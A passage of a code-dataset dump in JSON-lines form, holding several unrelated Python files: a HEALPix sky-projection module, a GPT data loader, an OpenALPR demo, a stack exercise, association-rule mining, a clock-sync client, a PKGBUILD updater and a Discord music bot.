r\"\"\"Convert angle :math:`\\theta` :math:`\\phi` to pixel.\n\n This is translated from chealpix.c; but refer to Section 4.1 of\n http://adsabs.harvard.edu/abs/2005ApJ...622..759G\n \"\"\"\n nside, theta, phi = numpy.lib.stride_tricks.broadcast_arrays(nside, theta, phi)\n \n def equatorial(nside, tt, z):\n t1 = nside * (0.5 + tt)\n t2 = nside * z * 0.75\n jp = (t1 - t2).astype('i8')\n jm = (t1 + t2).astype('i8')\n ir = nside + 1 + jp - jm # in {1, 2n + 1}\n kshift = 1 - (ir & 1) # kshift=1 if ir even, 0 odd \n \n ip = (jp + jm - nside + kshift + 1) // 2 # in {0, 4n - 1}\n \n ip = ip % (4 * nside)\n return nside * (nside - 1) * 2 + (ir - 1) * 4 * nside + ip\n \n def polecaps(nside, tt, z, s):\n tp = tt - numpy.floor(tt)\n za = numpy.abs(z)\n tmp = nside * s / ((1 + za) / 3) ** 0.5\n mp = za > 0.99\n tmp[mp] = nside[mp] * (3 *(1-za[mp])) ** 0.5\n jp = (tp * tmp).astype('i8')\n jm = ((1 - tp) * tmp).astype('i8')\n ir = jp + jm + 1\n ip = (tt * ir).astype('i8')\n ip = ip % (4 * ir)\n\n r1 = 2 * ir * (ir - 1) \n r2 = 2 * ir * (ir + 1)\n \n r = numpy.empty_like(r1)\n \n r[z > 0] = r1[z > 0] + ip[z > 0]\n r[z < 0] = 12 * nside[z < 0] * nside[z < 0] - r2[z < 0] + ip[z < 0]\n return r\n \n z = numpy.cos(theta)\n s = numpy.sin(theta)\n \n tt = (phi / (0.5 * numpy.pi) ) % 4 # in [0, 4]\n \n result = numpy.zeros(z.shape, dtype='i8')\n mask = (z < 2. / 3) & (z > -2. / 3)\n \n result[mask] = equatorial(nside[mask], tt[mask], z[mask])\n result[~mask] = polecaps(nside[~mask], tt[~mask], z[~mask], s[~mask])\n return result\n \n def pix2ang(nside, pix):\n r\"\"\"Convert pixel to angle :math:`\\theta` :math:`\\phi`.\n\n nside and pix are broadcast with numpy rules.\n\n Returns: theta, phi\n\n This is translated from chealpix.c; but refer to Section 4.1 of\n http://adsabs.harvard.edu/abs/2005ApJ...622..759G\n \"\"\"\n nside, pix = numpy.lib.stride_tricks.broadcast_arrays(nside, pix)\n \n ncap = nside * (nside - 1) * 2\n npix = 12 * nside * nside\n \n def northpole(pix, npix):\n iring = (1 + ((1 + 2 * pix) ** 0.5)).astype('i8') // 2\n iphi = (pix + 1) - 2 * iring * (iring - 1)\n z = 1.0 - (iring*iring) * 4. / npix\n phi = (iphi - 0.5) * 0.5 * numpy.pi / iring\n return z, phi\n \n def equatorial(pix, nside, npix, ncap):\n ip = pix - ncap\n iring = ip // (4 * nside) + nside\n iphi = ip % (4 * nside) + 1\n fodd = (((iring + nside) &1) + 1.) * 0.5\n z = (2 * nside - iring) * nside * 8.0 / npix\n phi = (iphi - fodd) * (0.5 * numpy.pi) / nside\n return z, phi\n \n def southpole(pix, npix):\n ip = npix - pix\n iring = (1 + ((2 * ip - 1)**0.5).astype('i8')) // 2\n iphi = 4 * iring + 1 - (ip - 2 * iring * (iring - 1))\n z = -1 + (iring * iring) * 4. / npix\n phi = (iphi - 0.5 ) * 0.5 * numpy.pi / iring\n return z, phi\n \n mask1 = pix < ncap\n \n mask2 = (~mask1) & (pix < npix - ncap)\n mask3 = pix >= npix - ncap\n\n z = numpy.zeros(pix.shape, dtype='f8')\n phi = numpy.zeros(pix.shape, dtype='f8')\n z[mask1], phi[mask1] = northpole(pix[mask1], npix[mask1])\n z[mask2], phi[mask2] = equatorial(pix[mask2], nside[mask2], npix[mask2], ncap[mask2])\n z[mask3], phi[mask3] = southpole(pix[mask3], npix[mask3])\n return numpy.arccos(z), phi\n\n def ang2xy(theta, phi):\n r\"\"\"Convert :math:`\\theta` :math:`\\phi` to :math:`x_s` :math:`y_s`.\n\n Returns: x, y\n\n Refer to Section 4.4 of http://adsabs.harvard.edu/abs/2005ApJ...622..759G\n \"\"\"\n theta, phi = numpy.lib.stride_tricks.broadcast_arrays(theta, phi)\n z = numpy.cos(theta)\n x = numpy.empty(theta.shape, dtype='f8')\n y = numpy.empty(theta.shape, dtype='f8')\n def sigma(z):\n return numpy.sign(z) * (2 - (3 * (1- numpy.abs(z))) ** 0.5)\n \n def equatorial(z, phi):\n return phi, 3 * numpy.pi / 8 * z\n def polarcaps(z, phi):\n s = sigma(z)\n x = phi - (numpy.abs(s) - 1) * (phi % (0.5 * numpy.pi) - 0.25 * numpy.pi)\n y = 0.25 * numpy.pi * s\n return x, y\n \n mask = numpy.abs(z) < 2. / 3\n\n x[mask], y[mask] = equatorial(z[mask], phi[mask])\n x[~mask], y[~mask] = polarcaps(z[~mask], phi[~mask])\n return x, y\n\n def xy2ang(x, y):\n r\"\"\"Convert :math:`x_s` :math:`y_s` to :math:`\\theta` :math:`\\phi`.\n \n Returns: theta, phi\n\n Refer to Section 4.4 of http://adsabs.harvard.edu/abs/2005ApJ...622..759G\n \"\"\"\n x, y = numpy.lib.stride_tricks.broadcast_arrays(x, y)\n \n theta = numpy.empty(x.shape, dtype='f8')\n phi = numpy.empty(x.shape, dtype='f8')\n \n def equatorial(x, y):\n return numpy.arccos(8 * y / (3 * numpy.pi)), x\n \n def polarcaps(x, y):\n ya = numpy.abs(y)\n xt = x % (0.5 * numpy.pi)\n phi = x - (ya - numpy.pi * 0.25) / (ya - numpy.pi * 0.5) * (xt - 0.25 * numpy.pi)\n z = (1 - 1. / 3 * (2 - 4 * ya / numpy.pi)**2) * y / ya\n return numpy.arccos(z), phi\n \n mask = numpy.abs(y) < numpy.pi * 0.25\n \n theta[mask], phi[mask] = equatorial(x[mask], y[mask])\n theta[~mask], phi[~mask] = polarcaps(x[~mask], y[~mask])\n return theta, phi\n\n def vertices(nside, pix):\n r\"\"\" Calculate the vertices for pixels \n\n Returns: theta, phi\n for each (nside, pix) pair, a four-vector of theta, and\n a four-vector of phi is returned, corresponding to\n the theta, phi of each vertex of the pixel boundary.\n (left, bottom, right, top)\n \"\"\"\n nside, pix = numpy.lib.stride_tricks.broadcast_arrays(nside, pix)\n x = numpy.zeros(nside.shape, dtype=('f8', 4))\n y = numpy.zeros(nside.shape, dtype=('f8', 4))\n theta, phi = pix2ang(nside, pix)\n xc, yc = ang2xy(theta, phi)\n xstep = numpy.pi / (2 * nside)\n ystep = numpy.pi / (2 * nside)\n x[..., 0] = xc - 0.5 * xstep\n y[..., 0] = yc\n x[..., 1] = xc\n y[..., 1] = yc + 0.5 * ystep\n x[..., 2] = xc + 0.5 * xstep\n y[..., 2] = yc\n x[..., 3] = xc\n y[..., 3] = yc - 0.5 * ystep\n \n theta, phi = xy2ang(x, y)\n return theta, phi\n return locals()\n\nclass Namespace(object):\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\nhealpix = Namespace(**create_healpix())\n\nif __name__ == '__main__':\n from matplotlib.figure import Figure\n from matplotlib.backends.backend_agg import FigureCanvasAgg\n\n # Now make a simple example using the custom projection.\n\n import numpy as np\n\n fig = Figure(figsize=(6, 6))\n\n# ra = np.random.uniform(size=100, low=0, high=360)\n# dec = np.random.uniform(size=100, low=-90, high=90)\n ra = np.linspace(0, 360, 100)\n dec = np.linspace(-90, 90, 100)\n ax = fig.add_subplot(111, projection=\"aea\")\n ax.set_xlim(359, 0)\n ax.set_ylim(-70, 70)\n ax.set_parallels(-20, 60)\n ax.set_center(180, 0)\n ax.plot(ra, dec, '*')\n ax.axhline(-20)\n ax.axvline(140)\n\n ax.plot(*pix2tri(8, [104, 105, 106]).reshape(-1, 2).T, color='k')\n\n ra = np.random.uniform(size=1000, low=30, high=60)\n dec = np.random.uniform(size=1000, low=-50, high=50)\n ax.histmap(ra, dec, nside=32, weights=ra * dec, mean=True)\n\n ra = np.random.uniform(size=1000, low=120, high=160)\n dec = np.random.uniform(size=1000, low=-50, high=50)\n ax.histcontour(ra, dec, weights=ra * dec, nside=32, mean=True)\n\n ax.tick_params(labelright=True, labeltop=True)\n\n ax.tripcolor(ra, dec, ra*dec)\n fig.colorbar(ax._gci())\n\n ra = np.random.uniform(size=1000, low=180, high=200)\n dec = np.random.uniform(size=1000, low=-50, high=50)\n\n ax.set_meridian_grid(30)\n ax.set_parallel_grid(30)\n ax.grid()\n canvas = FigureCanvasAgg(fig)\n fig.savefig('xxx.png')\n","repo_name":"desihub/imaginglss","sub_path":"imaginglss/utils/mpl_aea.py","file_name":"mpl_aea.py","file_ext":"py","file_size_in_byte":43927,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"23570474326","text":"import hydra\nimport pickle\nimport requests\nimport torch\n\nfrom omegaconf import DictConfig\n\n# Data loading\ndef get_batch(\n split: str, \n train_data: torch.tensor, \n val_data: torch.tensor, \n block_size: int, \n batch_size: int\n) -> (torch.tensor, torch.tensor):\n\n if split == \"train\":\n data = train_data\n elif split == \"val\":\n data = val_data\n else:\n return\n \n ix = torch.randint(len(data) - block_size, (batch_size,))\n x = torch.stack([data[i:i+block_size] for i in ix])\n y = torch.stack([data[i+1:i+block_size+1] for i in ix])\n\n return x, y\n\ndef encode(string: str, encoding_dict: dict) -> list[int]:\n return [encoding_dict[char] for char in string]\n\ndef decode(list_of_int: list[int], decoding_dict: dict) -> int:\n return \"\".join([decoding_dict[i] for i in list_of_int])\n\n@hydra.main(version_base=None, config_path=\"../../config\", config_name=\"config\")\ndef train_val_split(cfg: DictConfig) -> None:\n\n # Download data\n response = requests.get(cfg.data.raw_data_url)\n if response.status_code == 200:\n with open(cfg.data.raw_data_path, 'w', encoding=\"utf-8\") as file:\n file.write(response.text)\n\n # Read data\n with open(cfg.data.raw_data_path, \"r\", encoding=\"utf-8\") as f:\n text = f.read()\n\n # Characters mapping for encoding-decoding\n chars = sorted(list(set(text)))\n encoding_dict = {ch:i for i,ch in enumerate(chars)}\n decoding_dict = {i:ch for i,ch in enumerate(chars)}\n\n # Save encoding-decoding dicts\n with open(cfg.data.encoding_dict_path, 'wb') as file: \n pickle.dump(encoding_dict, file)\n\n with open(cfg.data.decoding_dict_path, 'wb') as file: \n pickle.dump(decoding_dict, file)\n \n # Train and test split\n data = torch.tensor(encode(text, encoding_dict), dtype=torch.long)\n n = int(cfg.data.split_ratio * len(data))\n train_data = data[:n]\n val_data = data[n:]\n\n # Save train-val data\n torch.save(train_data, cfg.data.train_data_path)\n torch.save(val_data, cfg.data.val_data_path)\n\n\nif __name__ == \"__main__\":\n train_val_split()\n\n","repo_name":"dgcanalesr/gpt-from-scratch","sub_path":"src/utils/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17039923670","text":"from openalpr import Alpr\nimport os\nimport sys\nimport re\nimport time\n\nalpr = Alpr(\"us\", \"./openalpr.conf\", \"./runtime_data\")\nif not alpr.is_loaded():\n print(\"Error loading OpenALPR\")\n sys.exit(1)\n\nalpr.set_top_n(3)\n#alpr.set_default_region(\"md\")\ndirectory = './Placas'\ndirectoryList = os.listdir(directory)\nprint(len(directoryList))\n\nstart_time = time.time()\nresults = alpr.recognize_file(\"Capture.jpg\")\nstart_time = time.time() - start_time\nsubI = 0;\nif (len(results['results']) == 0):\n print(\"No plate detected on file\")\n print(\"\\n\")\nfor plate in results['results']:\n subI += 1; \n print(\"Plate detected \")\n print('\\n')\n print(\"Process Time: %s\" % (str(start_time)))\n # print(\" ,%12s, %12s\" % (\"Plate\", \"Confidence\"))\n print('\\n')\n for candidate in plate['candidates']:\n prefix = \"-\"\n if candidate['matches_template']:\n prefix = \"*\"\n print(\" %s %12s %12f\" % (prefix, candidate['plate'], candidate['confidence']))\n print('\\n')\n\n\n\n # Call when completely done to release memory\n\nalpr.unload()","repo_name":"NivxB/OCR_Plates","sub_path":"demoCapture.py","file_name":"demoCapture.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74175991411","text":"import sys\r\n\r\nsys.stdin = open('input.txt', 'r')\r\n#input = sys.stdin.readline\r\n\r\nnum = int(input())\r\norders = [list(input().split(\"\\n\")[0].split()) for _ in range(num)]\r\n\r\nstacks = []\r\n\r\nfor i in orders:\r\n if(i[0] == \"push\"):\r\n stacks.append(i[1])\r\n elif(i[0] == \"pop\"):\r\n if(stacks):\r\n print(stacks.pop())\r\n else:\r\n print(-1)\r\n elif(i[0] == \"size\"):\r\n print(len(stacks))\r\n elif(i[0] == \"empty\"):\r\n if(stacks):\r\n print(0)\r\n else:\r\n print(1)\r\n else:\r\n if(stacks):\r\n print(stacks[-1])\r\n else:\r\n print(-1)","repo_name":"IanRyu54/Baekjoon","sub_path":"Stack/stack(10828).py","file_name":"stack(10828).py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4134325868","text":"from utils.prune import *\nfrom utils.pre_processing import *\n\nclass Car:\n \"\"\"\n Classification Association Rule (CAR)\n \"\"\"\n def __init__(self):\n self.rules = set()\n self.pruned_rules = set()\n\n # print out all rules\n def print_rule(self):\n for item in self.rules:\n item.print_rule()\n\n # print out all pruned rules\n def print_pruned_rule(self):\n for item in self.pruned_rules:\n item.print_rule()\n\n # add a new rule (frequent & accurate), save the ruleitem with the highest confidence when having the same condset\n def _add(self, rule_item, minsup, minconf):\n if rule_item.support >= minsup and rule_item.confidence >= minconf:\n if rule_item in self.rules:\n return\n for item in self.rules:\n if item.cond_set == rule_item.cond_set and item.confidence < rule_item.confidence:\n self.rules.remove(item)\n self.rules.add(rule_item)\n return\n elif item.cond_set == rule_item.cond_set and item.confidence >= rule_item.confidence:\n return\n self.rules.add(rule_item)\n\n # convert frequent ruleitems into car\n def gen_rules(self, frequent_ruleitems, minsup_dict, minconf):\n for item in frequent_ruleitems.frequent_ruleitems_set:\n label = item.class_label\n minsup = get_minsup(label, minsup_dict)\n self._add(item, minsup, minconf)\n\n # prune rules\n def prune_rules(self, dataset):\n for rule in self.rules:\n pruner = Prune(rule, dataset.data)\n pruner.find_prune_rule(rule)\n pruned_rule = pruner.pruned_rule\n is_existed = False\n for rule in self.pruned_rules:\n if rule.class_label == pruned_rule.class_label:\n if rule.cond_set == pruned_rule.cond_set:\n is_existed = True\n break\n\n if not is_existed:\n self.pruned_rules.add(pruned_rule)\n\n # union new car into rules list\n def append(self, car, minsup, minconf):\n for item in car.rules:\n self._add(item, minsup, minconf)\n","repo_name":"poojasnag/CZ4032_DAM_1","sub_path":"utils/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2970917092","text":"#Batuhan :OZALP - 170401074\nimport socket\nimport time\nimport os\nimport datetime\nimport subprocess\nimport shlex\n\nfrom decimal import Decimal\n\nip = input(\"Server ip adresini girin >>\")\nport = 142\nbuffer = 1024\n\ndef main():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((ip, port))\n simdiki_zaman = time.time()\n \n zaman = str(s.recv(buffer).decode()) \n \n zaman = Decimal(zaman)\n zaman *= 1000 #milisaniyeye cevirdik\n print(\"Serverdan gelen milisaniye cinsinden gecen zaman >>\", zaman)\n\n zaman = int(zaman / 1000)#saniyeye cevirdik\n\n time.sleep(0.3)\n utc = str(s.recv(buffer).decode())#serverdan gelen utc degeri\n utc = int(utc)\n if(utc > 0):\n print(\"Server tarafindaki zaman dilimi >> UTC+%d\" %utc)\n else:\n print(\"Server tarafindaki zaman dilimi >> UTC%d\" %utc)\n \n \n utc_saati = zaman \n\n time.sleep(0.3) \n server_istegi = str(s.recv(buffer).decode()) #degisecek zaman diliminin degeri \n istek_zamani = time.time()\n server_istegi = int(server_istegi)\n print(\"Istenen zaman dilimi >>\", server_istegi)\n gecikme = istek_zamani - simdiki_zaman\n utc_saati = (3600 * server_istegi) + gecikme + utc_saati\n saat = str(time.ctime(utc_saati))\n\n print(\"Ayarlanmasi beklenen zaman >>\", time.ctime(utc_saati))\n subprocess.call(shlex.split(\"timedatectl set-ntp false\"))\n subprocess.call(shlex.split(\"sudo date -s '%s'\" % saat))\n subprocess.call(shlex.split(\"sudo hwclock -w\"))\n except:\n s.close()\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"nyucel/blm304","sub_path":"final/170401074/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"26061734615","text":"#!/usr/bin/env python\n'''Script to find canonical versions of own pkgbuilds in this repo'''\nimport os\nimport subprocess\nimport requests\nimport yaml\nimport pyaml\nimport hashlib\n\nVERSIONS_FILE = os.path.join('versions.yml')\n\ndef get_github_release_info(owner, repo):\n '''Fetch latest github release on owner/repo'''\n url = 'https://api.github.com/repos/{}/{}/tags'.format(owner, repo)\n print('GET: {}'.format(url))\n resp = requests.get(url)\n latest = resp.json()[0]\n version = latest['name']\n # NB: latest['tarball_url'] is a similar alternative - but using canonical\n tar_url = 'https://github.com/{}/{}/archive/{}.tar.gz'.format(owner, repo, version)\n print('SHA256SUM: {}'.format(tar_url))\n tar_stream = requests.get(tar_url, stream=True)\n m = hashlib.sha256()\n for chunk in tar_stream.iter_content():\n m.update(chunk)\n return {\n 'version': version,\n 'shasum': m.hexdigest(),\n 'url': tar_url\n }\n\ndef get_blackbox_release():\n '''Fetch latest github release of StackExchange/blackbox'''\n res = get_github_release_info('StackExchange', 'blackbox')\n res['version'] = res['version'][1:] # slice away leading v\n return res\n\n\ndef update_pkgbuild(pkg, info):\n '''Update pkgver and sha256sum line in PKGBUILD for a subdirectory'''\n cmd = \"sed -i s/pkgver=.*/pkgver={}/ ./{}/PKGBUILD\".format(info['version'], pkg)\n subprocess.Popen(cmd, shell=True)\n cmd = \"sed -i s/sha256sums=.*/sha256sums=\\(\\\\\\'{}\\\\\\'\\)/ ./{}/PKGBUILD\".format(info['shasum'], pkg)\n subprocess.Popen(cmd, shell=True)\n # NB: url is already static (with pkgver referenced) in PKGBUILD\n\nif __name__ == '__main__':\n VERSIONS = None\n with open(VERSIONS_FILE, 'r') as file:\n VERSIONS = yaml.safe_load(file)\n print(VERSIONS)\n VERSIONS['blackbox'] = get_blackbox_release()\n\n # Write it down in a file for personal reference\n with open(VERSIONS_FILE, 'w') as file:\n pyaml.dump(VERSIONS, file, explicit_start=True)\n print(\"Updated {}\".format(VERSIONS_FILE))\n\n # More importantly propagate versions to PKGBUILD files\n update_pkgbuild('blackbox-vcs', VERSIONS['blackbox'])\n","repo_name":"clux/pkgbuilds","sub_path":"updates.py","file_name":"updates.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42588534923","text":"import discord\nfrom discord.ext import commands\nimport asyncio\nimport json\nimport youtube_dl\nimport youtube_search\n\nmusics = {} # musics from each guild will be stored here.\nnow_playing = {} # music actually playing will be stored here\nytdl_opts = { # Youtube-dl options to improve the quality\n 'format': 'bestaudio/best',\n 'quiet': True,\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'wav',\n 'preferredquality': '192'\n }]\n}\nytdl = youtube_dl.YoutubeDL(ytdl_opts)\n\nbot = commands.Bot(command_prefix=\">\",\n case_insensitive=True, help_command=None)\n\n\nclass Video:\n def __init__(self, link):\n video = ytdl.extract_info(link, download=False)\n video_format = video[\"formats\"][0]\n self.url = video[\"webpage_url\"]\n self.stream_url = video_format[\"url\"]\n self.title = video[\"title\"]\n self.duration = video[\"duration\"]\n\n\nclass VideoFromPlaylist:\n def __init__(self, video):\n video_format = video[\"formats\"][0]\n self.url = video[\"webpage_url\"]\n self.stream_url = video_format[\"url\"]\n self.title = video[\"title\"]\n self.duration = video[\"duration\"]\n\n\nasync def Search(ctx, args, robot):\n search = \"\"\n for mot in args:\n search += mot + \" \"\n nb_results = 20\n yt = youtube_search.YoutubeSearch(search, max_results=nb_results).to_json()\n try:\n results = json.loads(yt)['videos']\n except:\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Error', value=f\"No results\", inline=False)\n await ctx.send(embed=embed)\n i = 0\n\n def to_send(results, i):\n k = 1\n max = i+4\n to_print = \"```\\n\"\n while i <= max and i < len(results):\n music = results[i-1]\n title = music['title']\n duration = music['duration']\n to_print += f\"{k}. {title} ({duration})\\n\"\n i += 1\n k += 1\n to_print += \"```\"\n return to_print\n\n to_print = to_send(results, i)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Search', value=to_print, inline=False)\n msg = await ctx.send(embed=embed)\n\n await msg.add_reaction('1️⃣')\n await msg.add_reaction('2️⃣')\n await msg.add_reaction('3️⃣')\n await msg.add_reaction('4️⃣')\n await msg.add_reaction('5️⃣')\n await msg.add_reaction('➡️')\n\n def check1(reaction):\n if reaction.user_id == ctx.author.id and msg.id == reaction.message_id:\n if reaction.emoji.name == '1️⃣' or '2️⃣' or '3️⃣' or '4️⃣' or '5️⃣' or '➡️':\n return reaction\n\n def check2(reaction):\n if reaction.user_id == ctx.author.id and msg.id == reaction.message_id:\n if reaction.emoji.name == '1️⃣' or '2️⃣' or '3️⃣' or '4️⃣' or '5️⃣' or '⬅️' or '➡️':\n return reaction\n\n try:\n choice = await robot.wait_for(\"raw_reaction_add\", check=check1, timeout=60)\n choice = choice.emoji.name\n except asyncio.TimeoutError:\n return\n dictio = {\n \"1️⃣\": 1,\n \"2️⃣\": 2,\n \"3️⃣\": 3,\n \"4️⃣\": 4,\n \"5️⃣\": 5\n }\n start = 0\n\n async def add_to_queue(selected):\n client = ctx.guild.voice_client\n title = selected['title']\n id = selected['id']\n url = 'https://www.youtube.com/watch?v=' + id\n to_print = f\"**[{title}]({url})**\"\n if client and client.channel:\n video = Video(url)\n musics[ctx.guild].append(video)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Queued', value=to_print, inline=False)\n await ctx.send(embed=embed)\n else:\n try:\n channel = ctx.author.voice.channel\n except:\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(\n name='Error', value=\"**Please connect to a channel to play musique.**\", inline=False)\n await ctx.send(embed=embed)\n return\n video = Video(url)\n musics[ctx.guild] = []\n client = await channel.connect()\n\n async def next(msg, start):\n i = start\n await msg.delete()\n to_print = to_send(results, i)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Search', value=to_print, inline=False)\n msg = await ctx.send(embed=embed)\n k = 0\n j = start\n tab = ['1️⃣', '2️⃣', '3️⃣', '4️⃣', '5️⃣']\n while j < len(results) and k < len(tab):\n await msg.add_reaction(tab[k])\n j += 1\n k += 1\n await msg.add_reaction('⬅️')\n if start < nb_results-5:\n await msg.add_reaction('➡️')\n return msg\n\n async def prev(msg, start):\n i = start\n await msg.delete()\n to_print = to_send(results, i)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Search', value=to_print, inline=False)\n msg = await ctx.send(embed=embed)\n await msg.add_reaction('1️⃣')\n await msg.add_reaction('2️⃣')\n await msg.add_reaction('3️⃣')\n await msg.add_reaction('4️⃣')\n await msg.add_reaction('5️⃣')\n if start > 4:\n await msg.add_reaction('⬅️')\n await msg.add_reaction('➡️')\n return msg\n\n async def decision(choice, start, msg):\n added_to_queue = False\n if choice in dictio:\n nb = dictio[choice]\n nb += start\n selected = results[nb]\n await add_to_queue(selected)\n added_to_queue = True\n elif choice == '➡️':\n if start <= len(results):\n start += 5\n msg = await next(msg, start)\n elif choice == '⬅️':\n if start >= 5:\n start -= 5\n msg = await prev(msg, start)\n return msg, start, added_to_queue\n\n msg, start, added_to_queue = await decision(choice, start, msg)\n while added_to_queue == False:\n try:\n choice = await robot.wait_for(\"raw_reaction_add\", check=check2, timeout=60)\n choice = choice.emoji.name\n except asyncio.TimeoutError:\n return\n msg, start, added_to_queue = await decision(choice, start, msg)\n\n\nasync def Delete(ctx, nb):\n nb = int(nb)\n if len(musics[ctx.guild]) >= nb:\n title = musics[ctx.guild][nb-1].title\n url = musics[ctx.guild][nb-1].url\n del musics[ctx.guild][nb-1]\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(\n name='Queue update', value=f\"**[{title}]({url}) is deleted from the queue.**\", inline=False)\n await ctx.send(embed=embed)\n else:\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(\n name='Error', value=\"**There isn't that many musics in queue or the queue is empty.**\", inline=False)\n await ctx.send(embed=embed)\n\n\nasync def Leave(ctx):\n client = ctx.guild.voice_client\n if client:\n await client.disconnect()\n musics[ctx.guild] = []\n\n\nasync def Resume(ctx):\n client = ctx.guild.voice_client\n if client.is_paused():\n client.resume()\n\n\nasync def Pause(ctx):\n client = ctx.guild.voice_client\n if not client.is_paused():\n client.pause()\n\n\nasync def Skip(ctx):\n client = ctx.guild.voice_client\n if client:\n client.stop()\n\n\nasync def Queue(ctx, robot):\n def getTime(duration):\n total_sec = duration\n h = (total_sec - (total_sec % 3600)) / 3600\n sec_min_h = (total_sec - h * 3600)\n min = (sec_min_h - (sec_min_h % 60)) / 60\n sec = sec_min_h - min * 60\n time = '{}:{}:{}'.format(int(h), str(\n min/10).replace('.', ''), int(sec))\n return time\n\n client = ctx.guild.voice_client\n msg = \"\"\n def check(reaction):\n if reaction.user_id == ctx.author.id and msg.id == reaction.message_id:\n if reaction.emoji.name == '⬅️' or '➡️':\n return reaction\n if client:\n time = getTime(now_playing[ctx.guild][0].duration)\n to_print = \"```\\n\" + f\"Now playing:\\n\\t{now_playing[ctx.guild][0].title} ({time})\\n\\n\"\n i = 1\n queue = musics[ctx.guild]\n to_print += f\"Total queued: {len(queue)} song(s)\\n\\n\"\n if len(queue) > 10:\n index = 0\n y = 0\n page = 1\n while queue[index] != queue[-1]:\n if y > 9:\n to_print += \"```\"\n embed=discord.Embed(color=0x00ffb7)\n embed.add_field(name=f'Queue (Page {page})', value=to_print, inline=False)\n msg = await ctx.send(embed=embed)\n if page > 1:\n await msg.add_reaction('⬅️')\n await msg.add_reaction('➡️')\n y = 0\n page += 1\n try:\n react = await robot.wait_for(\"raw_reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n return\n emote = react.emoji.name\n if emote == '⬅️':\n page -= 1\n index -= 10\n i -= 10\n to_print = \"```\\n\"\n if emote == '➡️':\n index += 1\n to_print = \"```\\n\"\n else:\n time = getTime(queue[index].duration)\n to_print += f\"{i}. {queue[index].title} ({time})\\n\"\n y += 1\n i += 1\n index += 1\n else:\n for music in queue:\n time = getTime(music.duration)\n to_print += f\"{i}. {music.title} ({time})\\n\"\n i += 1\n to_print += \"```\"\n embed=discord.Embed(color=0x00ffb7)\n embed.add_field(name='Music(s) in queue :', value=to_print, inline=False)\n await ctx.send(embed=embed)\n else:\n embed=discord.Embed(color=0x00ffb7)\n to_print = \"**Bot not connected**\"\n embed.add_field(name='Error', value=to_print, inline=False)\n await ctx.send(embed=embed)\n\n\nasync def play_song(client, queue, song, tab_ctx):\n source = discord.PCMVolumeTransformer(discord.FFmpegPCMAudio(song.stream_url,\n before_options=\"-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5\", executable='ffmpeg/bin/ffmpeg.exe'))\n\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Now playing',\n value=f\"**[{song.title}]({song.url})**\", inline=False)\n ctx = tab_ctx[0]\n msg = tab_ctx[1]\n await msg.delete()\n msg = await ctx.send(embed=embed)\n\n def next(_):\n if len(queue) > 0:\n new_song = queue[0]\n del queue[0]\n asyncio.run_coroutine_threadsafe(\n play_song(client, queue, new_song, [ctx, msg]), bot.loop)\n else:\n asyncio.run_coroutine_threadsafe(client.disconnect(), bot.loop)\n try:\n client.play(source, after=next)\n except:\n pass\n\n\nasync def playlist(ctx, url):\n client = ctx.guild.voice_client\n playlist = ytdl.extract_info(url, download=False)\n if client and client.channel:\n for video in playlist['entries']:\n to_append = VideoFromPlaylist(video)\n musics[ctx.guild].append(to_append)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Playlist queued',\n value=f\"**[{playlist['title']}]({playlist['webpage_url']})**\", inline=False)\n await ctx.send(embed=embed)\n else:\n channel = ctx.author.voice.channel\n musics[ctx.guild] = []\n i = 0\n for video in playlist['entries']:\n if i == 0:\n to_play = VideoFromPlaylist(video)\n else:\n to_append = VideoFromPlaylist(video)\n musics[ctx.guild].append(to_append)\n i += 1\n client = await channel.connect()\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Now playing playlist', value=f\"**[{playlist['title']}]({playlist['webpage_url']})**\",\n inline=False)\n msg = await ctx.send(embed=embed)\n tab_ctx = [ctx, msg]\n await play_song(client, musics[ctx.guild], to_play, tab_ctx)\n\n\nasync def Play(ctx, args):\n client = ctx.guild.voice_client\n search = \"\"\n for mot in args:\n search += mot + \" \"\n if \"https://youtube.com/playlist\" in search:\n await playlist(ctx, search)\n return\n elif \"https://\" in search:\n url = search\n else:\n yt = youtube_search.YoutubeSearch(search, max_results=1).to_json()\n try:\n yt_id = str(json.loads(yt)['videos'][0]['id'])\n url = 'https://www.youtube.com/watch?v=' + yt_id\n except:\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Error', value=f\"No results\", inline=False)\n await ctx.send(embed=embed)\n if client and client.channel:\n video = Video(url)\n musics[ctx.guild].append(video)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(\n name='Queued', value=f\"**[{video.title}]({video.url})**\", inline=False)\n await ctx.send(embed=embed)\n else:\n channel = 